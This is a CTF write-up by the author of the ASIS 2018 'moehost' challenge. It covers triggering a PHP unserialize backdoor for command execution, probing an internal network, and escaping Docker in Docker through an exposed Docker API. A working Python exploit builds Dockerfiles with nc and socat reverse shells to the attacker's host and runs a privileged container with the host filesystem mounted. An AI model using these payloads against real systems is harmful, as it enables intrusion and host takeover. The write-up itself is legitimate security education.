Article List

ASISCTF 2018 Moehost Solution - Escaping Docker in Docker


Sun Apr 29 2018 00:19:15 GMT+0900 (일본 표준시)
writeupasisctfpentestexploitctfmoehostASISsolution

Introduction

I would like to thank players who participated in ASIS CTF quals. This year I released 2 challenges on ASIS CTF quals, namely moehost and gameshop. In this post I'm going to explain the intended way to exploit the moehost.

About the challenge

Here's the information about the challenge:

Title: moehost

Solves: 2/1079

Difficulty: ★★☆☆☆ (easy-medium)

Description: Moe Moe Kyun~~ We made a hosting company and a security company at the same time. We strive hard to develop the kawaii-kaonojo-intelligence security softwares. We also give you bug bounties. Can you leak our flag from our network? (Please play nice and do not break up the service. )

URL: http://147.75.33.143/b97803827d121f9d39b0c3efe5d45623d33a9b14/

The level of this challenge is set to easy-medium, because this requires a bit of pentesting skills and a bit of knowledge on docker system.

This challenge made me a bit tedious to make -- The main objective of this challenge is to compromise the host system. I had to make service checkers, make qemu images and test multiple times..

This challenge needs a lot of assumptions -- in fact you may get stuck in ambiguous outputs. It needs Recon skills as well as your guessing skills to find the backdoor.

Finding and triggering the hidden backdoor

The URL given here is a construction page that says that the flag is going to be release at December 2019. (At the time of writing this post is April 2018.) This website does not have any interesting data but a single comment hinting you that <!-- the goal is to trigger the Moe -->.

Let's manually pentest this website.

http://147.75.33.143/b97803827d121f9d39b0c3efe5d45623d33a9b14/robots.txt Robots are disabled.

http://147.75.33.143/b97803827d121f9d39b0c3efe5d45623d33a9b14/.hg/ 404

http://147.75.33.143/b97803827d121f9d39b0c3efe5d45623d33a9b14/.git/ 404

http://147.75.33.143/b97803827d121f9d39b0c3efe5d45623d33a9b14/.svn/ 404

http://147.75.33.143/b97803827d121f9d39b0c3efe5d45623d33a9b14/index.asd 404 Error (nginx-style)

http://147.75.33.143/b97803827d121f9d39b0c3efe5d45623d33a9b14/index.php 404 Error (but php error style, prints File not found)

First thing we realize is that the website is developed in PHP.

Crawling pages manually will show the index page where sourcecode is obfuscated(http://147.75.33.143/) However, when we look at the bottom of the script, we see another comment saying that <!-- dirbust won't even work, Please try something else. This is 2018. Robots are useless these days. -->

In this case, we can now assume that:

  1. server is running under nginx
  2. dirbust shows 504 -- ratelimited
  3. robots disallows all files (no goodies here)
  4. crawl like we're in 2018.
  5. this website is running on nginx+PHP.

When we look for PHP-related folders manually, we find out that there's vendor/ folder, and it gives a 403 error.

As the vendor folder exists in the server, We should now assume that PHP libraries are loaded and triggered from unknown script.

By digging for PHP library-related files, we find composer.json in no time. http://147.75.33.143/b97803827d121f9d39b0c3efe5d45623d33a9b14/composer.json

json
{
    "name": "moehost",
    "minimum-stability": "dev",
    "require": {
    },
    "require-dev": {
        "me9um1n/kazuma": "^2.1@dev"
    }
}

Seems like it's loading a single library named me9um1n/kazuma. What's next? we need to verify if this library is on use.

http://147.75.33.143/b97803827d121f9d39b0c3efe5d45623d33a9b14/vendor/me9um1n/kazuma/ 403 found. http://147.75.33.143/b97803827d121f9d39b0c3efe5d45623d33a9b14/vendor/me9um1n/kazuma/.git 404 ...

Sadly, there's nothing much we can leak from this folder. So let's google this package.

Google shows up two results:

me9um1n/kazuma - Packagist
https://packagist.org/packages/me9um1n/kazuma
me9um1n/kazuma. Administration tools for geeks. github.com/kazuma1337/me9um1n · Homepage · Source · Issues · Installs: 1. Dependents: 0. Suggesters: 0. Stars: 0. Watchers: 0. Forks: 0. Open Issues: 0. dev-master / 2.1.x-dev 2018-03-14 09:16 UTC. Requires. php: ^7.0. Requires (Dev). None. Suggests. None. Provides.
--
me9um1n/kazuma on Packagist - Libraries.io
https://libraries.io/packagist/me9um1n%2Fkazuma
2018. 3. 14. - Administration tools for geeks - a package on Packagist - Libraries.io.

On https://packagist.org/packages/me9um1n/kazuma, the package information is shown as followes:

shell
me9um1n/kazuma
$ composer require me9um1n/kazuma
Administration tools for geeks

github.com/kazuma1337/me9um1n
Homepage
Source
Issues
Installs:  1

Oops! Only 1 system installed this thing. Sounds really suspicious. Github page is destroyed. let's find out who is this kazuma1337.

On the profile section of https://github.com/kazuma1337, we see that

佐藤 和真
kazuma1337
Moved to bitbucket!
Moe Hosting Inc.
http://maid.moe/

It says he moved to bitbucket. so what's on https://bitbucket.org/kazuma1337?

Repository  Last updated    Builds   
me9um1n 2 days ago

Let's clone this sourcecode.

shell
# git clone https://bitbucket.org/kazuma1337/me9um1n.git
Cloning into 'me9um1n'...
remote: Counting objects: 18, done.
remote: Compressing objects: 100% (17/17), done.
remote: Total 18 (delta 3), reused 0 (delta 0)
Unpacking objects: 100% (18/18), done.
# ls -la me9um1n/ me9um1n/src/
me9um1n/:
total 32
drwxr-xr-x 5 root root 4096 Apr 28 18:06 .
drwxr-xr-x 3 root root 4096 Apr 28 18:06 ..
-rw-r--r-- 1 root root  694 Apr 28 18:06 composer.json
-rw-r--r-- 1 root root  611 Apr 28 18:06 composer.lock
drwxr-xr-x 8 root root 4096 Apr 28 18:06 .git
-rw-r--r-- 1 root root 1094 Apr 28 18:06 LICENSE
drwxr-xr-x 2 root root 4096 Apr 28 18:06 src
drwxr-xr-x 3 root root 4096 Apr 28 18:06 vendor

me9um1n/src/:
total 16
drwxr-xr-x 2 root root 4096 Apr 28 18:06 .
drwxr-xr-x 5 root root 4096 Apr 28 18:06 ..
-rw-r--r-- 1 root root  331 Apr 28 18:06 Kazuma.php
-rw-r--r-- 1 root root  601 Apr 28 18:06 Moe.php

Yup, leaking the me9um1n/kazuma is now complete. Let's examine these two PHP files.

php
# Kazuma.php
namespace Kazuma;

class Kazuma
{
    public function __construct(){
        $lucky = @unserialize($_GET['k@zuma']); << Unserializes $_GET input
    }
}

# Moe.php
class Moe {
    public $level = 0x1336;
    public function __wakeup(){
        $moe = $_GET;
        if($this->level === 0x1337) @system($moe[k][a][w][a][i][i]);
    }
    public function __set($n, $v){
        //if($n !== "level") die('failed');
        $this->$n = (int)$v;
    }
}

These two pieces of code look very weird; But it already sounds like a hidden backdoor. What's next? Let's try to trigger in the website.

Assuming that these scripts are autoloaded by composer, We will make a serialized object to call the system function.

http://147.75.33.143/b97803827d121f9d39b0c3efe5d45623d33a9b14/?k[a][w][a][i][i]=ls&k@zuma=O:10:"Kazuma\Moe":1:{s:5:"level";i:4919;}
--
composer.json
composer.lock
css
hint
img
index.php
izumi.gif
js
mp4
package-lock.json
package.json
robots.txt
vendor

Now we successfully triggered the backdoor.

Escaping from docker container

If you succeed to execute the backdoor, congratulations. Now we'll begin with docker escaping.

cmd: uname -a

Linux moehost 4.9.0-6-amd64 #1 SMP Debian 4.9.82-1+deb9u3 (2018-03-02) x86_64 Linux

cmd: ls -al /home

shell
total 16
drwxr-xr-x    1 root     root          4096 Apr 25 09:52 .
drwxr-xr-x    1 root     root          4096 Apr 25 09:52 ..
drwxr-sr-x    2 dockrema dockrema      4096 Apr 12 00:35 dockremap
drwxr-sr-x    2 www      www           4096 Apr 25 09:52 www

cmd: cat /etc/hosts

127.0.0.1   localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.1.0.137  moehost

cmd: ls /usr/local/bin

dind
docker
docker-containerd
docker-containerd-ctr
docker-containerd-shim
docker-entrypoint.sh
docker-init
docker-proxy
docker-runc
dockerd
dockerd-entrypoint.sh
modprobe

By googling dind, first result shows a github page of docker in docker. We now know that this is running under docker. We will now explore the network, in order to attack the host machine.

From the above outputs, we found out that the container's internal IP is 10.1.0.137. Now we will bruteforce IPs to check alive hosts..

/?k[a][w][a][i][i]=wget+-O+-+http://10.1.0.0/+2%3E%261&k@zuma=O:10:%22Kazuma\Moe%22:1:{s:5:%22level%22;i:4919;} > failed: Network unreachable
/?k[a][w][a][i][i]=wget+-O+-+http://10.1.0.1/+2%3E%261&k@zuma=O:10:%22Kazuma\Moe%22:1:{s:5:%22level%22;i:4919;} > failed: Connection refused
...
/?k[a][w][a][i][i]=wget+-O+-+http://10.1.0.4/+2%3E%261&k@zuma=O:10:%22Kazuma\Moe%22:1:{s:5:%22level%22;i:4919;} > failed: Host is unreachable.
...

There's this host 10.1.0.1 that returns Connection Refused. Now, let's crawl over well-known ports.

/?k[a][w][a][i][i]=wget+-O+-+http://10.1.0.1:80/+2%3E%261&k@zuma=O:10:%22Kazuma\Moe%22:1:{s:5:%22level%22;i:4919;} > Error
...
/?k[a][w][a][i][i]=wget+-O+-+http://10.1.0.1:2222/+2%3E%261&k@zuma=O:10:%22Kazuma\Moe%22:1:{s:5:%22level%22;i:4919;} > Lags; probably SSH
...
/?k[a][w][a][i][i]=wget+-O+-+http://10.1.0.1:2375/+2%3E%261&k@zuma=O:10:%22Kazuma\Moe%22:1:{s:5:%22level%22;i:4919;} > 404 Not found

Many might wonder what 2375 port is. it's not even in /etc/services. This port is a docker REST API port in which any authorized user can manage the docker remotely. If you're into pentests, remember -- this port must be tested on docker-based services. More information about this can be found here

Let's connect 10.1.0.1:2375 via docker.

http://147.75.33.143/b97803827d121f9d39b0c3efe5d45623d33a9b14/?k[a][w][a][i][i]=/usr/local/bin/docker+-H+10.1.0.1+ps+2%3E%261&k@zuma=O:10:%22Kazuma\Moe%22:1:{s:5:%22level%22;i:4919;}
--
CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS               NAMES
8a6af2efb8b6        moehost             "/bin/sh -c /etc/rc.…"   3 days ago          Up 3 days           80/tcp, 2375/tcp    moehost

Yes, we got an access into the docker host 😃

What now? If you're new to docker escapes, here's your chance to try it out. There are dozens of container escaping documents available online.

Exploitation

This exploit written below is developed with an help of an online resource. There should be many other ways to escape the container level.

py
# cat exploit2.py
import base64
import urllib
import urllib2
import sys
import os
import socket
from multiprocessing import Process

# Victim Host and your IP for the reverse shell (port 1337 and 1338 must be open)
host = "http://147.75.33.143/b97803827d121f9d39b0c3efe5d45623d33a9b14/"
your_ip = "harold.kim"

# Dockerfile #1: Return a reverse shell with more controls
exploit = """FROM alpine:latest
RUN apk add --update --no-cache netcat-openbsd docker
RUN mkdir /files
COPY / /files/
RUN mknod /tmp/back2 p
RUN /bin/sh 0</tmp/back2 | nc """+your_ip+""" 1337 1>/tmp/back2"""
# Dockerfile #2: Another reverse shell, but this time with socat
exploit2 = """FROM alpine:latest
RUN apk add --update --no-cache bash socat
CMD socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:"""+your_ip+""":1338"""

exp_dir = "/tmp/styprexp/"
gen_exp = lambda x: host + '?k[a][w][a][i][i]='+urllib.quote_plus(x)+'&k@zuma=O:10:"Kazuma\Moe":1:{s:5:"level";i:4919;}'

def get(u):
    try:
        r = urllib2.urlopen(u).read()
        return r.split("<!-- probably wincest?")[0]
    except:
        return False

# Stage 1: Trigger reverse shell generation
def spawn_on_build():
    global exploit, exploit2, host
    # Stage 0. base64 payloads
    exploit = base64.b64encode(exploit)
    exploit2 = base64.b64encode(exploit2)
    # Stage 1. build Dockerfile(exp1) -- generates reverse shell and exp2 on it
    print("[*] Injecting to spawn reverse shell..")
    get(gen_exp('mkdir '+exp_dir))
    get(gen_exp('(echo "'+exploit+'"|base64 -d)>'+exp_dir+'exp1'))
    get(gen_exp('(echo "'+exploit2+'"|base64 -d)>'+exp_dir+'exp2'))
    print get(gen_exp('cd '+exp_dir+';/usr/local/bin/docker -H 10.1.0.1 build -f '+exp_dir+'exp1 . 2>&1'))

# Stage 2. Spawn another reverse shell server with host volume mounted
def spawn_final_shell():
    print("[.] Waiting for the first reverse shell..")
    s = socket.socket()
    # listen port 1337
    s.bind(('0.0.0.0', 1337))
    s.listen(5)
    while True:
        conn, address = s.accept()
        print("[*] First reverse shell from %s:%s" % (address[0], address[1]))
        conn.send("cd files; docker -H 172.17.0.1 build -f ./exp2 -t exp2 .\n")
        conn.send("/usr/bin/docker -H 172.17.0.1 run -d --privileged --net=host -v /:/host exp2 2>&1\n")
        print("[!]" + conn.recv(1024))
        print("[*] Trying to spawn another reverse shell...")
        conn.close()
        s.close()
        return True

# Stage 3. Leak flag from the reverse shell(from another container)
def leak_flag_from_shell():
    print("[.] Waiting for the second reverse shell..")
    # listen port 1338
    s = socket.socket()
    s.bind(('0.0.0.0', 1338))
    s.listen(5)
    while True:
        conn, address = s.accept()
        print("[*] Second reverse shell from %s:%s" % (address[0], address[1]))
        conn.recv(1024) # prints moehost:/#
        conn.send("cat /host/flag\n")
        conn.recv(1024)
        print("[~] FLAG: %s" % (conn.recv(1024),))
        conn.close()
        s.close()
        return True

if __name__ == "__main__":
    Process(target=leak_flag_from_shell).start()
    Process(target=spawn_final_shell).start()
    spawn_on_build()

Result:

shell
# python exploit2.py
[*] Injecting to spawn reverse shell..
[.] Waiting for the second reverse shell..
[.] Waiting for the first reverse shell..
[*] First reverse shell from 147.75.33.143:58110
[!]Sending build context to Docker daemon  3.072kB

[*] Trying to spawn another reverse shell...
[*] Second reverse shell from 147.75.33.143:38000
[~] FLAG: ASIS{31c4603f3433940f261fc7d579f8429fc00b2fb2}

Gotcha!

If you have any questions, please write it on the comment section. Thank you for playing!